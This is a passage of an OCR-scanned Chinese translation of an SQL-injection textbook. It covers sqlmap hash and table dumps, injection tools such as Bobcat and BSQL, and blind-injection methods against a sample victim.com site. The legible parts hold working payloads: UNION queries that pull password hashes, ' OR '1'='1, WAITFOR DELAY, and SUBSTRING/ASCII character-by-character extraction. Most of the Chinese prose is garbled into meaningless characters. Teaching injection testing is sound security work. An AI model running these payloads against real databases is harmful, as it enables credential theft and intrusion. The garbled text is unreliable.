back-end DBMS: Oracle

[hh:mm:51] [INFO] fetching database users password hashes

[hh:mm:51] [INFO] query: UNION ALL SELECT NULL,
CHR(Bﬁ)liCHR{113)||CHR{?0)|ICHR{101}IICHR(81)|ICHR{77)llNVL(CAST(NAME AS
VARCHAR (4000) ),
CHR(32)IICHR(122)IICHR(115)||CHR(109)I1CHR(75)||CHR(104]IINVL(CAST
(PASSWORD AD VARCHAR (4000} ),
CHR{EQ}I!CHR(103)|[CHR(115}IICHR(83]|lCHR(lD?)I[CHR(112),NULL

FROM SYS.USERS WHERE NAME = CHR(83) | ICHR(89) | |CHR(83)-- AND 7695=7695
(hh:mm:51] [INFO] performed 3 gqueries in 0 seconds

database management system users passwerd hashes:

[*]1 8YS [1]:

password hash: 2DSA0C491B634F1B

ENBH AN TRZA, XBEG T 8 Sqlmap ¥4 PostgreSQL 8.3.5 24 3 #
FEIEH) users Ko RATAKFIAT UNION Z#] SQL HEARIA, (K KA v 03530, UL
B E R D TR RE

$ python sqglmap.py -u "http://ww.victim.com/get_int.php?idal"——union—use -
dump -T users -D public -v 0

<sinp>

web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: PostgreSQL

Database: public

Table: users

[4 entries]

e et et B it +
| id | password | username

R R e +
| 1 | blissett | luther |
I 2 | nameisnull | NULL |
| 3 | bunny | fluffy |
| 4 | ming | wu |
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4.10.2 Bobcat

Bobcat £ — &K B3 SQL {F A TR, Hiit HEME L2 A5 A SQL AR,
A LA www.northernmonkee.co.uk/projects/bobcat/ bobcathtml b F#. FRZTREBYIENT
$"JE B Cesar Cerrudo JF & ] —3k 4 A Data Thief i) TR K ThGE.

Bobcat R &R BHFME, BRI 4B W 5 2 Bk i N A 9547 B TR DBMS,  Lhin3i| ¢
EENRG BB ERA. BEEE. BHOEREK, . BABE. ITRIEREG LS.
Bobcat A LLFF Web B FH ) SQL iE AN, 15 HiIHE S EXM5/E & SQL Server f
*. Bobcat iFER7E 4 Hh % 3E — Microsoft SQL Server 8{ Microsoft SQL Server Desktop
anine(MSDE) .

BT RETREMEHETERPAERAE SQL AR, BI{#ixfE DBMS ZE A4S A
AT, WRTURAE. ETANESSEE, T RAGE S0 B ENY R
7| A — g (bR EERRE ), T E AR FFIE. Bobceat A A HI0A py4e o Rl i
1§/ OOB i# ik F| ] DBMS. Bobcat 528l T OOB j## ) “OPENROWSET” X#% . Chris Anley
£ 2002 fEBI AN T iZ MM (1525 www.nextgenss.com/papers/more_advanced_sql_injection.pdf).
FrLA, BEsRZdE— N AHI Microsoft SQL Server 8{ MSDE. A TGEES 5 HiEH M B un{a
1% F3 OPENROWSET ) OOB i##:. P 4-18 A T —tRiZ T RIHEA.

ittp://www. victim, com/login. aspxPusers < *=* > hpass

g 4-18 Bobcat [#; &
4.10.3 BSQL

7 Windows T B, BSQL £ —FMRIFHM T HR. Ef Ferruh Mavituna JF&, ATM
http://code.google.com/p/bsqlhacker/ F T # . BARBEA LS T EUI4 TR B, EHE
OWASP SQLiBENCH i H (—/aTREUE#E M B3) SQL HARMEREIE, WHALT
http://code.google..com/p/sqlibench/)#R 5, B BETEN 4T HRAT K Fh iR, HHHLEMTHA.

BSQL # T GPLv2 KA, A] T.{E7E{F{ 43¢ T NET Framework 2 i Windows #l4% L, 7
HIGHH T — D B3 LERF. EXFETHRNIEANEIE, LRBEHRIN—FEEBH
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JTEREIZE TR AN AR i R E KA R AR fEe, M s
HRATHRE B AL, sILAM http:/labs.portcullis.co.uk/download/Deep_Blind_SQL_Injection.pdf |
TRI—RFANAX—BRKRIL, EHHRZHA “ R EE(deep blind injection)”s

BSQL AE#5F K SQL AR M T 51 i FE 3R HUE B

e Oracle

e SQL Server

e MySQL

P 4-19 R T —WBIEZE#ET BSQL B ki el

B 4-19 zhAELETH BSQL

BSQL B £ LM, MERKMBBAES. T EEH O LK Injection Wizard 28K B
HERERSF. FLSERMA R URL ERPASHSHE, ZEEFH T — R,
FERFIENFUNROSHE T FENRA. WRRAH—ANBZHEHKSE, WSIRBEM,
HFUHEIF (IR B M. o] L8 ik Extracted Database #R2 21 IE FE IR AL HIE, W 4-20
Fi7R o

165
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B 4-20 BSQL 28Uz P2 $3 FE b R A5

4104 HMHTH

AIEE AR T =K TR, IR HBRAIABHPATHIRRE . AdiFidtE, &F 75
JLE T A B ABIRAF s SE ISR ThRE . I P B ift4T B9 LK F FToR

e Automagic SQL Injector(http://scoobygang.org/automagic.zip)

o SQLiX(www.owasp.org/index.php/Category:OWASP_SQLiX Project)

¢ SQLGET(www.infobyte.com.ar)

o Absinthe(http://0x90.org/releases/absinthe)

411 RF )4

ABNAT —BENFRRERRTERBOBEREAR B—F. HEBRE R —F
FI F 77 ¥ R A A UNION 50 3F38 K B 5 00 21 R 46 2 W A3 [B] 45 3R 7 SR 2B A% . UNION
B AWBE URE, FTREK TR RER, AMFEEEARRN —FEAKRE. T
Tk % T UNION BB E L, WA LAGEA &M B ARIBEEGER . FMERLRERE
17 BALE A FRAR R AR BB ER . BATERN T EBRARKFEER, BN 50
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IO T 8 S BB V) 7 Sl oy s R B LA 2 o R[] 5 7T 1 P 26

FADET R T B L 78 B8 AR 55 4 A B0k 3 MO ML 88 2 1R A5 — & e 2 AN R M 8K
FEE B UL TRk A E U (EE i HTTP, SMTP BRAHE P i 4) K SE ST &5 .

AT AR T A S B AR (SR A6 R BRI & )R SRR B MO0, MRS B A B 3
ERR. MR GA RS FZFEHE R AR, )R] DL 22308 3 BB SR A Ry
J1o TRFHBUPRES AT AR A — L2 R AT 0 T IR, A m) LAY P S0 e A S e 2 T k. 3RER B4R
BRZJG, BFRE B AR REIR AR 4, BTN )50 B A% 48 2 B bR 4% 1 54k

ik

4.12 RikBEFE

1.

R RAF AR

SELECT A4 % I SQL MR, HALEHREIE. SQL HEARS HIER
HUBGE M9iB4J(LL T INSERT. UPDATE il DELETE), BARATFHMEREREA, B
BERS B A7 40 2% BRAZ B B A W A&7 AW . X T SELECT i), WK
RETREAE A SQL A

o EAMIR AL TRAENEE RS E T MRS ESEEE M.
o WRJEEBIEERN IS SR B KB HIE, BARHALEHHYAS.

R EE
CE— MR Bd R, B — PR AR X3 P2 5O i R T R B

L]
o BE ) IA AT N B[R4 688 DBMS SR BOER R &HHRER).
L]

WMRBHMAATAT, AEAN—FKRBELEARE DBMS LHE#.

. {1 UINON E /IR BN #IE

o ERIhHL A ILE AWV I0ECHE, B0 ZARAE AT 3 B BUE KRS TUAD.,
o FIHEIERRIINIES NULL {5, GROUP BY £ F R E i A A7 B S 5%,
o WIRIEFE Web N HIRFEISE—4T, MA@ EM iR £& k85 REmMIT,

WIE— IR — 1T MR AU 4T .
ERFHER

R FAHER], Bk & B OE K0T AR B — AN S A .

R TR A E, nfLUEFESINGER . P24 85 iR B3R 8 B AR [|]- AN AN R )
HTML T i, '
FHEASEBESHEHNG R, ETERAHHEREERBEFEERTE, £ETHEN
BARMEETFH AN ANE T EDRIRE.
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5.

4.13

KRR ERR

W —F ORI i BARESEERE, RERSMRENR, 2 ER_RENRKF],
B Ja R EHE .
R TR HE R, WA TR IR AN SRR . SE G R N R R R LU
SERRE B HEE AL E .

AR

BT £ DBMS — - FLUCK HR 2 AU RIR FHR I 2 35 . ATV IEAE ki 9 DBMS 1R AT fig
RAREEBF L2 HEHET.

XFHAMFL, TUERRENBEBEEAK, WA SQL Server | {# A
OPENROWSET.

- BRRFHOL

WERAHEE AR, EAEHTRIEA DL 0HE . ANEBHFEHOS, X
LI H AT RE R “TE” WP,

. BNEBIE

U RICVE A R TH B 7 AR IR, TR L P SR R RN .
AT E ) IE T35 e-mail(SMTP). HTTP. DNS. U RGEEEEH 047 s BOHm FE (i 43

B##)H SQL EAN

AESFIKND HRGH T ERERRIERLUAEH K.

FIBME, 7IUR T RRHB S A3 Wik,

XL T AP T RE AR BB REIR, MzfE DBMS BREZZIRECE BT 4 10
R .

¢ BREE T e

ERE: AT 6 B AR IE I R R B PR S B M

fi#

&: RM. T#HIE DBMS FiEHBARKEMEE, AT EABECHEE, Ml
FEILSEINAG R FEBRERB BUAE ATE 7] £k LG 15 8 AN i)

e AR ATREE A F UNION MHiA?
BE: 2K, HAZHEARMEENSRERMERNSHENELRR.

BIRE: WRHIEARK, LEMEHEENY, BarxEAMR?
RRE: ZRAMESTRLEL AT LR R e R RS . FEBEWPRIMAR KL like

Y%password%sy, like Yaprivate%o) 5 B T4 4 11 e B8 B BB L,
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{17 OOB FEHERT, 0 {if 388 S0 X0 8 it IR 2

B, hRBREEN EHEREHRYAEHRHETHABA. AIRHAHR
HO9R PR R 25 28 R AL R W A ROGR R . FE LB SR RIS SMTP i, AoERy
KHE UL Ve BT R B A SRR LR

KEEGA OSE, BRECRESEEm?

XERTREFE, WRBHELRS, BARRRKEALSSRES. MRBH
REROSFIEERY, BARLMGEEEIRGRTREOSMEE. A, BRIER
T 04 5 24 SR (password complexity policy), 7 W2 /D REREME TR .
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5 A AE 3 it

H3) SQL HiEFIH
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5.1 Mk

BRALERKILT — SQL FAA, ENARRMT —NEAME R, SEBRIEH
TIEW BT, (85 RATEE] A BAFTE— LM ZE BT REAR ) X4 R T SQL Hit,
EXE, REFANEAESRERNCEIMURMARTH, RIEE 4 ZRBNBLE. A
WIFABEG, BIMEEXHER T, BRAMBIRT AR SEHFIA SQL EA.

FAENFTRELMN SQL FARE, BAUSEHEAH RN ERBEERE, XM
X R R EUEE B — RN BERE AR . ERAERIFHER SQL A, FR
AR —BHEBUGERARA AR RN . LR R EEEE RN R, BEE R E
BRI AN TRESE I . PR A R RS BREN AP RO S s A 0 e, man
RTAS B F P BoRAFT IR . EAAZ FREHERINE], BRETHRABEETAET, HF)
RKRIRETE, ENBEHERUE SQL (MREREEB M FHAIT. BEELELENBGEETAT
AR R AN (] 32 Y BT T . AAZ FEMATRIF AN T HEZRE, EXMidES, SQL BE
R—Meg ZEH, HEMEEEE X LA MMAKZER . Chris Anley 75 H 2002 FEH)—5E
WXPEHXIIAT- M SQL HiEHAR, ST R T AR AR N BN 5 RiEAN
iy, HRBET JLARH. Ofer Maor F1 Amichai Shulman 75 5E X A sk 48 140452 B g 5
BAH) SQL RN —ME A WAHRTUE . b iT8a R & 5 2 B8 4) & SELECT
Eifl, REREBACERAAF. ZENSRORIIRER)E B THRERSZHREREL,
SR J5 8L UNION SELECT R4ZHUE(# . Kevin Spett (158 XAFEFABLZ &b, Aihth E kA5 £
HIEERIE B 9F HiE NRA7E SELECT B4, (BN BK il R MO8HR TUmE, iR SQL i%
HHRAE LR 747 7 2N W B SR A8 4 U T R A P9 28, 3X 5 Cameron Hotchkies 1§ F A4 AR A [R] .

REAR, SQL HiEslie THEH M AE . X—RKARAMM SQL AT REH#HE—
PMREOERES . AEEFMABEZBEAZA, BOFEEX SQL HRHFEFTCEF LA
RIGIE . AKHX—HIR, AFEMAFHEREERBEEFERAZER, iR, S48
Zi[DNS)E #F1 HTML WiR)M G & BEEPREER AR . IHRAFEL RGN SEEE
AR, B AFERENHERRBRT R, EHFRMFREK Web 320 i 3)(E
fal RBHE B -

B’E:

AF P ey SQL B A48A R ZAE M MR BRI L RF M BIBEEGHEALT, AR
AR & B AT ERFAMAE BRI L RRRE B AT AR X3 Loy EH R,

BEAEXAEEIRS, CRABEHFITH SQL EAL(RIE SQL EALET), &AHE
REZGRFBILERAAITY, FELEHFERFITHERR T HRA F4HR G HIERIGLE
BRI RAE SR, tdeid i UNION SELECT). A TRERMELGHAFERE, £
b Sl SECR Y P N AR L R AL S

#igdE, SQL HiEEZBM FAMBERRIEL, BETHFHRRELZEN SQL HhFifty
g, REGHE T REG S N(QETA XY I AL ER), MAFAHBELELTHRE
5, BAmskEH A ERLM SQL HFEHAIMTEHRAZEHLEM,



w5E SOLEFFHA
52 JFHRIFAASQL Fi

BEARAF SQL HIEWIH, 708 S e i B ARR I P AE 89 5 2 i R AE SQL HEAR
AT RICELAS 2 ERENMFLXENE, BALEER—TL1#7T SQL HENR
AR M EEEAR.

5.2.1 sEFHIFEIBEREIR

IS FH 0 6 Ao 8 A O B8R DU SR B R B FE R, AN R DR AT R T, o AT AR
Wi SQL {E N HI4T B il S0 F R AE R AL Web WHI BB P HE—NRF| S F4F.
ISR R AESR A 8.5 5 B AP ) — AR B A4 7 A8 F RO IR DU, R4 B BRI K o] et
SR K. R, M55 SV FEH A R TR, BB e R AR5
). EEHKRY, RARTSHEF LA RERZZHN SQL Hill.

522 FENFEMERREN

RS HIARRE, B TRLESEMEREGEFE LRI EE. BhZHHEAR
it FA By B i (timing attack) KB IABEF ) SQL 275 BHAT, A It aT LI AT B i % RS T
BEE NS R ORIERE®S. FII, 7E Microsoft SQL Server 1, "] F %1 SQL A% ™
A 5 B

WAITFOR DELAY '0:0:5'

[E#E, MySQL F /= nl{# Al SLEEP()e& 30 (& Al T MySQL 5.0.12 &2 J5 IR AR )k 52 A 7]
HHES .
85, T LARI AR B KBTI B, wmSEE TR &

" AND '1'='2
BAB M RERFRY, B74ES
" OR '1'='1
ARMAR, XERKRLTRAE S EHT SQL FEAN. B—DFHREBREMNTIA—PKE

Fhl, EAREEMAZE: B oAFHHERIEEREHARLEITE T,
RATVGER 2 RN AILIXBNE,

523 HH5FH

S A A R R EE AR, TR “SHdR 5 5 F @ (parameter splitting and
balancing)” HA(H David Litchfield #ir44). XA1R% SQL BHEFAHPLHEHBINBR. THE
ERN R ERR TR, PN RIERA N ER P RSB A THNGRESS. HEXREEE:
WA AVERER B, ZEMEA SQL XE TN EAHATER UMHE S RBIEAR, HEAEHEE
EHTEAIN, —ENIEEREM . BT, B hitp://www.victim.com/view_review.aspx?
id=5 XA URL ', # id Z2¥H0EIEAE—4% SQL iHA T M T HIEH:

173
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SELECT review_content, review_author FROM reviews WHERE id=5

WMRAER 2+3 B# 5, MANHAKBMAGARTRGHFERFHHMA, B SQL H£IhhE L2
FHi:

SELECT review_content, review_author FROM reviews WHERE id=2+3

XEHARBTHFEME. B http://www.victim.com/view_review.jsp?author=MadBob X4
URL &\ 53— R Em H A X HE R, BRI author BHIEMEI—4% SQL EHHFHIR T
AW

SELECT COUNT (id) FROM reviews WHERE review_author ='MadBob'

W] DA R SE O B0R R IE LA MadBob F/F 4743, 168 A3t 55 MadBob A8 3¢ R AR
RN . fEEXS Oracle BIFAS, M “||” BHEFIERPNFRFH:

Mad'| | 'Bob
= E T 5 SQL & if):

SELECT COUNT(id} FROM reviews WHERE review_author =' Mad'|| 'Bob'

EEE-NERER ERENH.

&, Litchfield &, ZHEARFEL LATAREGBAF LB MA AR ETHFE. 8357
EHRKEGEATS 5 FEEA, THIEERSHL T ATEEREN T £ARFIA. T 5 MySQL
BEWR A AR R

SELECT review_content, review author FROM reviews WHERE id=5
SELECT review content, review author FROM reviews WHERE id=10-5
SELECT review_content, review_author FROM reviews WHERE id=5+(SELECT 0/1)

BANER)G —4% SQL BHFFBEA T — N TFEB(EA T RILMLARD). HTXE AL
o] FEW), BT R EMHEFS S5 FEBORM BiE AR S J B (L br bR SEE B AT ]
R, RIE B HBARNRZAL R . AL, MySQL A RN FF B SN AT 5 FEH AR
AR TR IR EEEET, EEARRGER THFSE. HE Microsoft SQL Server 1T
w4 FEFERBRSE, W FARMSNERTR:

SELECT COUNT (id) FROM reviews WHERE review_author='MadBob'

SELECT COUNT (id) FROM reviews WHERE review author="Mad'+CHAR(0x42)+'ob'
SELECT COUNT (id) FROM reviews WHERE review_author='Mad'+SELECT('B’')+'ob'
SELECT COUNT(id) FROM reviews WHERE review_author='Mad'+(SELECT('B'))+'ob’
SELECT COQUNT (id) FROM reviews WHERE review_author="Mad'+(SELECT '')+'Bob'

BE—4BAPEET —METRIKNFEN. T LBLSER, RITATUAEREREXH
ARAZHFRSENAT. BRELE, /RO 5PEFEORELE: BEGHIHEFHFREAR—A1EH
SRR, EERER.

£ 5-1 |ETHRBHRSBFEINFRFE, BT M FEASLNF, 25ET
MySQL. Microsoft SQL Server M Oracle. #4~FFF # F )4 1 4 R 4h B BE (R IE S B R
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FIAR, 43Pk <number>. <string>® <date>)MFHEWIE “...” SAFHFFIRE NULL 8REF
FFEWEM.

®E:

HEHE F (R RTAA THFEBRTLESY, BAEMNBRETF <number>ty1i.

£51 FTFEASUHRNIESRENFRS

¥R E B=FHR FHEBH B#$ N
MySQL <number> BHBERRTRIETI | LHAES <date> LB R IER
<op>(...) . FhE. ATFERIR | FFHF HLE 2008-12-30
<op>FTHL+ - * / & |~ xor o, HEOWEEALER. | BOY 20081230,
mAEU ANSI 8 F5) | 74 SQL HEHPHHOMENES
MySQL ¥iiiFE, @R &EF | HBHHMR:
ERPMER “))” BERHEK | <date>'
BETHFS. <op>
<string>"| (...) || C..)
E SQL Fr R HIAE 1
FHER:
<date>
<op>
)
<op>FTHK+ - | || * xor
SQL Server <number> <string>'+(...) +' <date>'+ (...) +'
<op>{...)
<op>AJH(+ - */ & | "
Oracle <number> <string>")) (...} |I <date>']| (..) |I
<op>(...)
<op>AJ I+ - * /||

524 ERMSQLHiTinE

AETE=FHRT, SQL HiExEHHM:

1) | —~FH SQL FE TR A i 23R B —~18 A ey #5R T, M3 A IERART SQL
FF S0 2 3 B —A oA 5 T A8 368 R 425 W ) DL T » XAV 08 5 IRAE AR AL P B R B R B R
. g, FPpd— NS id SEEEME— IR AR R SO RE R E R — R
R WTFREFEAER, AP LT REA RS R (RS EMER RN B RO NE)
S 25 11 0 T SR G O '

B h R T RS B(RARA R DLV B0 %R AR R B 7 50), BT AR LA E TS 1R
RIBRIAFI A LR R 15 R T R R SRR IR A . KBEHIL T, RA\RE— 1 R5 | SRERK
B SQL Y8314 —NE A AR TUE, X% A B THW R B2 SQL EARR.
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2) A —ANFB SQL A IR AR B £ IE [ —AME AR EHRTUR, TSR IEHE SQL
B SEE AR ERTRMOTE. YHELEE/) SQL B, ERAR—MERSZI K
HRFE A e S REBIX R L. EH — M RE A5 RXFHESR: SQL HALLT UPDATE 2k
INSERT E44, HAHEZ KIS RBABEABIRES BA>EME, A EERnEx.

RSB AN AR T ET S R B X RE(GE TN RNAAMAR), BETA
BB A,

3) WA ZMBA EFE SQL BEALFEHRTME, WAXLMEM AWt . B
J XA SQL BRI RAEFHAR, 0T 18 R 50 A i ShRI AR A MR A B
o] BE AR IR A 5 W IS 5.

5.2.5 SQL HiFKAK

THET SQL BEEAIE X UL K FHRIXKMIAN LG, BARNARATT TR X LR
BRI LUK B R 4 N B2 HERTROR TR SME AR . 58— BARFR T —RIBGE,
BATEF SQL 3 56T M e A 1) Bl i #E 0T — X — (BT IREUE B B BRI
it BT A G S8 A A F S LR ELBER ARG B .

B i T X R IR I 4 & 5 SR BUH IR AT A R PRAE LI BOR o 32 1] B LAY R
B RPN AR SQL A BOR 7118 A A BEHR IT I LA S R 78 SO VRIS BE s il DU T S e

1. HEEERAR

MASE EF, B HEWE AR 1 mnE T W 8 i E R RO I B D — R B . WER K
@, BRI 1B, MEASE SRS, TSRO 0 B, WP AR K
R, WP L IF 2 S g T BT AR AT TR, BT A A ) K £ 2 T A [E) . ST Y
7%, TR L EIX A

HEWTHOR SRR SQL IBANEA— A RAF SCUMEIRBIF R BRAR, SLeP o SCAAoR B 3AN
Bk O RAS . B2, aTLAM SQL E#jHA- %4 IF iE): IFx THENy ELSE z. Bk
K, x(EE A M4 SQL)LL “F—ITHE S M FIWHE MMEREST 17 7 XHKN
FRAPER By Bz WEFMT AR AWMLY . BEE TR SN IRERTHIT T
AN K. SRACHEWTRIEIS, Teh MR [E] TR MR y B z. WMRIATHR y 23,
)T o 5 AT HEWT AL IO 1, BN R 0. Z R EEMEMER, HBWRBARS
Hik.

WOE, S IR HRNAEETE, tin IF 5. SR LUERR LH%MT
B4, (HXPESHINE SRR KR . B EEr EX&4EQEER £ SQL XK
REARE A5 38 .

PR B A4S BT AN 0 R A7 0 B0 B o A 803 G (BRI 6 R IX 4 BT A). RATTAT LUSRIX A
(1 B “RATTRAE S AE S FIBUR RN 47 7. “IX & SQL Server 2005 HUIEFEA? "EL ‘4
EPHHEREAAT 1277 7. XREIUNE BAEARRERECR P IA. AR, ENERE
15 A ERE 5 B R SO A R B AE B o 3R X ) R B SRR AT RE S R A SR P — A AR
4337 DURHIF 9 B 5 %2 2 TRUE 3% FALSE, BN 82 B SQL A, ERBUEHH
324t %R [F] TRUE BY FALSE.

NG A — AN A ) T e AR B3R 2 FRATHE 358 count_chickens.aspx XA T ,
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EH TR EN5 P RN E. §INEME chikens RPFE—KITHK. EFEFIF,
RIS status FU{EH A Incubating. HE W@+ FE— 52 SQL HiEHEH K status B,
WRZETEAT, A T SELECT #E R+ Sinput M status B0 ) 2 R EE -

SELECT COUNT (chick_id) FROM chickens WHERE status='S$input’

RAVEE B UE AR 2SS B EE . Microsoft SQL Server HEERE— N2 H
SYSTEM_USER M ¥, ESREIFFHAMMAf 4. BHEESFE ORI A iEE. —&
¥, "LMER SELECT SYSTEM_USER SQL ERIREFIXEN A, BAERP HLERRAT
H. B 5-1 8 T {4 AE R BEARBEUEIE 23K, EREFRE T —AM R s
RAME. EHAE, ARARKATARKLZERIN, MIIARERHFESNZD SQL, ME:
EERREEES I Er— MR AR E.

Y hitp: [ /www.victim.com/count_chickens aspx?status="%200r%20 1%20in%20(select%2Duser_name()--

An error occurred.

G P e . R L i RGeS
B 5-1  RERIhAEBhEHR N B SREBE 1223

AL status=Incubating B, THPAT Lk SQL Z IR A& 5-2 FroRlFRFE.

€ hitp: / [www.victim.com fcount_chic

B 52 THORFFALIS BRI Y me Y

AT LA I 17 AR R B IR IR MR 74 and '1'="2 KRB status B8, XHE SQL HEHLIRE]
—AFERE. BYSK SQL BRI T FiaR:

SELECT COUNT(chick_id) FROM chickens WHERE status=' Incubating' and '1'="2

Bl 5-3 B T iEWRNMNE R AHE RN CFHER HZEHWER T — N ZERE. F
afE, BEEPHEPITEIER status 4 Incubating, 18R EBHIKE TAMRIE T AFEMILE T

XR—ALHE SQL BENGITF. TWHABRIMEEEMEEIR, BRIIVIAT Ll EH
HEA SQL 3 Al MEBGR I 45 R(BA VA 2 E M HE 5 BB “No eggs have that status”
HE).

177
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No eggs have that status

B~ i U 0 T A T e P R

Bl 53 Rl — A Argrmd

BRAEBMNAFEAN N ABF ), MIRBA MG YA NERTE. BTRITER
FIRBBARE R %, ETTRATAT LB status=' Incubating’ and SUBSTRING(SYSTEM _
USER,1,1)='a R B RA BB NFRHRE N a, F4EMN SQL B FFix:

SELECT COUNT (chick_id) FROM chickens WHERE status='Incubating' and
SUBSTRING (SYSTEM USER,1,1)='a’

% SQL J B substring()R #UM system_user A% H FIRENE — A 227,

WMBR—AFHALN 2, BoATFORE, RIOLSEFNSE 52 MANLR, mRx
HAK a, BIATUHB, HEE—ANELERE, X400 B 0E 5-3 For. BEs—
NFHAN a, BTRBAMEA R XK status SFRWIB A REEH, AHBE A28
REND, WMBEAER, HERIE—AEHNIL:

status=Incubating' AND SUBSTRING (SYSTEM_USER,1,1)='a(False)
status=Incubating' AND SUBSTRING (SYSTEM_USER,1,1)="b(False)
status=Incubating' AND SUBSTRING (SYSTEM USER,1,1)="c(False)

status=Incubating' AND SUBSTRING (SYSTEM USER,1,1)='s(False)

FARAFATR TR RIRI 25 T ATARSR I8 5100 T P ACHENT H SR ARAS, TR 18 T o
FINE. BEMRRNFEA “Noeggs...”, MRENB, BFURENE.

REBRMNEEBRARB AR A FRAERLLR . NFT a FHHHE 7Rk
B3 BRIRI—NFRZE, BREBHI T 8. BRBRAVROITE LA A 20T E
EHfWTHR:

status=Incubating' AND SUBSTRING {SYSTEM__USE:R, 1,1)='s (True)
status=Incubating' AND SUBSTRING (SYSTEM USER,2,1)='q (True)
status=Incubating' AND SUBSTRING (SYSTEM_USER, 3,1)='1 (True)
status=Incubating' AND SUBSTRING (SYSTEM USER, 4,1)='0 (True)
status=Incubating' AND SUBSTRING (SYSTEM USER,5,1)='5 (True)

REHE, RWE? /AR slgos. AEBAE, HL FRAXAME, BIEET—ME
ERMEE: ERARMECLIANFZNER? WRE T RN L85 % sql05,
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BATWATERAERFFESE 6 > 3 7 IR 8 MNFRF? MR E K SUBSTRING() B H 27 &
RKEEERFREE, EASTEHR, HRERERIZFHE. Eilt, RIITUERRNSE
BRTLTZFHE. MRRI—NDEFRHE, BAETUNEEIXTH M ENER.

status=' Incubating' and SUBSTRING (SYSTEM USER,6,1)=' (True)

FERE! RPAZHREARFFRE, WA LR EREMERITH. EME
RO IR 77 R SRR MR 2 A e L P 4 K BE . IXF 45 BR T B “ SUBSTRINGQ)IE B %
R FPEER N AVEEES 250, B — MR B T LA SR B o 4 T AR S Bk
BfIEl. ATDCRA IREDMFRNFTERAMEARRIRA 2K, PIRKEERER 1. 2.
3%, HERIIITAAE A IE:

status=Incubating' AND LEN(SYSTEM_USER)=1-- (False)
status=Incubating’ AND LEN(SYSTEM USER)=2-- (False)
status=Incubating' AND LEN{SYSTEM_USER)=3—— (False)
status=Incubating' AND LEN(SYSTEM_USER)=4-- (False)
status=Incubating' AND LEN (SYSTEM_USER)=5-- (True)

MZERFFFIF R AT A P 2 KR 5. WEER, XEEMEHT SQL HE(-), BA
ARLTH, B UMER FER R,

BEBRPF— R AT NS E R R TRUE &£ FALSE MM T AR T RHERT ME
HIBURIER “No eggs have that status” #/8. TRAMH HEWT v BT 48 A5 ML o6 RE BEAR BT T 0t
figmi, FATHEAMREARRNERRSRE.

IR T 42

RS EMIER
TR AR, NRELEZNE: AFANBOEFEAR RS LBIR X EG TR,
—RFRRR— LB AEAEE RS BEERTEHR. wRELERAF F oK
B, NERLLBHFHR, A—READTRARAGEFREAAZX LA L, 54
B RAS, B RS R M. RIFHIE A SRR AAF RAM R, &
AR T ARG IR S, TBEE N ARG L E R T A BT,

HFREMEE, AREEZTQATERAZIT, BAKETRASASEIEM,

Ao, BARIFHRELRXBA W, BEAREGLERTRRAESEALRTA.

2. HMMEETRAR K E R

EETROHSE, REEKRFEROEHFULTRIELHREZZHMEAF L5
RIS FRR P RIE T RBE R . AREASZ, ROTBA SRR 112 Kk

179
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G KETE S X, HNFEHs. g« 1. 0F S HRITHEE 19. 17, 12, 27 32 K). &k
—HHERRE: R RN, SEERAE K 256 M ERNTFRRER, XSBEEMIE
K% BB % & 3E 3k 2 4 ) (binary-safe). PR 7 A B kG HERT R R R —
FRRBA N, —FRECHHEIERN L. X TRERE e n.

THHRRTEIERTENENFYNE, ATERRBRTE. vEdI—18 1
Bl (eight questions){if xE KA W LK R A 2 PRI Sy, HBENRANE EF T REN R, (BEA—
ANFA AR S 256 FifE, BrLAAELE 8 MESRRHE %, BEERME R ZLRE, wLUEE
FAKTHE 256 20 R TR 4 IR B ER 3] — N EEBEE Z AR . BERIICOHF I IE
14, FIRH ) B FFEE —F 7 E RO FERT LRI R TR R, BRIER, ZHEERME R, R
iR E A . R B R R

(1) ZEHREKRT 1277 &, BEX 14<127.

Q) EFTHREKRT 637 &, HH 14<63.

3) ZFPRAKTF 31? &, BN 14<31.

@ EFWREKKT 157 &, BH 14<15.

5) ZFENRERT 7?7 &, BEHh14>7,

6) EZFWREKXT 11?7 £, BX14>11.

(7 EFHRERT 137 &, BEX 1413,

®) EETRBEAT 147 &, EH 14=14.

BT ZFNRT BENTET 14, B HERZFETER 14, EZEREBEIEFE R %
FARME R F R EME . 7F Microsoft SQL Server. MySQL Al Oracle *F, % ARifiit ASCII()
I BCR IR % E.

IR (6] 2) F PR MR PR P 480X — UG ) L, IRTESE A B R BRI A A 2R —A
T, HHAT T3 SQL iEM:

SELECT COUNT (chick_id) FROM chickens WHERE status='Incubating' AND
ASCII (SUBSTRING (SYSTEM USER,1,1))>127--'

BAVTHERIE 8 % SQL BHIRT LM E LT A HME. K HT A XA WAL SR TUE I K,
FEAERTA R FBTR:

status=Incubating' and ASCII(SUBSTRING(SYSTEM USER,1,1))>127-- (False)
status=Incubating' And ASCII(SUBSTRING (SYSTEM USER,1,1))>63-- (True)
status=Incubating' And ASCII(SUBSTRING{SYSTEM USER,1,1))>95-- (True)
status=Incubating' And ASCII (SUBSTRING (SYSTEM USER,1,1))>111-- (True)
status=Incubating' And ASCII(SUBSTRING(SYSTEM USER,1,1))>119-- (False)

status=Incubating' And ASCII (SUBSTRING(SYSTEM USER,1,1))>115-- (False}
status=Incubating' And ASCII(SUBSTRING(SYSTEM USER,1,1))>113-- (True)
status=Incubating' And ASCII (SUBSTRING(SYSTEM USER,1,1))>114-- (True)

MIX—FRFNFERD, WATAT AR AR — D PR TFIEA 115, B ASCILRF
MREEFRER so MARBARRT 8 MFEKEIATIRR 7. MEREFERLEBETEFT
BIBAR, ZEARTE THRASG#HE . R EFREINE =MARE(Error), Ml LAE —#HHER T
AR A, ATRBAER O T ANERIRBORE 1 R, KBRS T R IRBURE 8 K.
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X — AR L. BAVE T — ] LUZE ] 52 B 1A] A B R B A SE F i E M i SRR
R B S THFERNME. WRAEAERERZENFHHREEL FHAKRE, B4
MERERMEE, ZHERAE. HE, TS MERBEBET E—FRNER, FHim i
FIERBAR VIR FAEGEEE. ROLEERDEE—MEROERZ R BB DR, ER
BAMERATREZARSE 63 2R 191 SRAAFV. FTLL, BAFWHIERTLIEITET, Xibk
IBEH R KHE,

1B
B ETANATIERF Y, (2EEETHE R, KRNEAAFRFGE R
LiEMGE, B BRI —F i e,

EMEREE AR EE A A, BAFTHEASRRIEREREN, ENERIBEDD
REFR(FEERERNEAFLREN 4R, Vi BAEERAN AR s e, mRE
XFERE, TR TNRE, AN RSEEATE). SR ERERE 8 k)
AR NFN, BT 8 MEFRIHEWT 8 FLMI. BATRE T LA RN KR HEWT A 9g
